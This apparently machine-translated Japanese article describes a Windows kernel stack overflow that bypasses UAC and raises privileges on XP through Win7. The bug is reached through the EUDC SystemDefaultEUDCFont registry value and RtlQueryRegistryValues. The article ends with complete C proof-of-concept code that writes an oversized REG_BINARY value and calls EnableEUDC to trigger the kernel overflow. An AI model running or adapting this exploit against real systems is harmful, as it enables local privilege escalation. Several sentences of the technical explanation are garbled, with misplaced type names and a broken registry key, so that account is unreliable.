新しい脆弱性により、Win7 / VistaでUACをバイパスして特権が昇格される
システムレベルのローカル権限を増加させる興味深い脆弱性が、コードプロジェクト(http://www.codeproject.com/KB/vista-security/uac.aspx)の記事として11月24日に登場しました。 ほんの数時間後、このリソースから削除されましたが、情報はすでにネットワーク全体に広がっていたため、削除することは無意味でした。 XPからVista / Win7までのシステムで権限を増やすことができ、サーバーバージョンも攻撃を受けています。 さらに興味深いことに、この脆弱性はx86システムとx64の両方に関連しています。 確かに、提示された
PoCコードはx86システムでのみ正常に起動されました。
この理由は、WinAPI関数
RtlQueryRegistryValues()
パラメーターの制御が不十分であるためです。
NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);
この関数は、複数のレジストリパラメータを一度に取得し、
_RTL_QUERY_REGISTRY_TABLE
構造体に結果を
_RTL_QUERY_REGISTRY_TABLE
するために使用されます。
typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;
EntryContext
フィールドでは、この構造から出力バッファーのタイプが決定され、ここで興味深いニュアンスが
ULONG
ます。バッファーは
ULONG
構造または
ULONG
値のバッファーとして解釈できます。
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
このバッファーを埋めることにより、要求が行われたレジストリキーの種類が決定されます。 すべて問題ありませんが、レジストリキー
HKCU\EUDC\[Language]\SystemDefaultEUDCFon
tが見つかりました。これは、ユーザー権限でのみアクセスでき、
Win32k.sys->NtGdiEnableEudc()
呼び出すことで
REG_BINARY
変更できます。 この関数の操作中、最初の
ULONG
値がバッファー長を解釈する
UNICODE_STRING
構造として、
REG_SZ
レジストリ値とバッファーがスタックに配置されると想定され
REG_BINARY
が、レジストリ値が
REG_BINARY
として提示される場合、従来のスタックオーバーフローが発生します。
これらすべてのニュアンスを考慮して、PoC(by noobpwnftw)が開発されました。これは、スタック上の戻りアドレスを上書きするレジストリの値を形成し、カーネルモードのコードで任意のバッファーを実行します。
脆弱性の詳細な説明は
こちらにあり
ます。
http://www.kb.cert.org/vuls/id/529673
http://secunia.com/advisories/42356
d_olexからの代替PoC(
オリジナル ):
#define EUDC_FONT_VAL "SystemDefaultEUDCFont"
int _tmain( int argc, _TCHAR* argv[])
{
HKEY hKey;
char szKeyName[MAX_PATH], Buff[0x600];
sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d" , GetACP());
//
LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegCreateKey() fails with status %d\n" , Code);
return -1;
}
//
RegDeleteValue(hKey, EUDC_FONT_VAL);
// "SystemDefaultEUDCFont" REG_BINARY
FillMemory(Buff, sizeof (Buff), 'A' );
Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
RegCloseKey(hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegSetValueEx() fails with status %d\n" , Code);
return -1;
}
//
EnableEUDC(TRUE);
return 0;
}
All Articles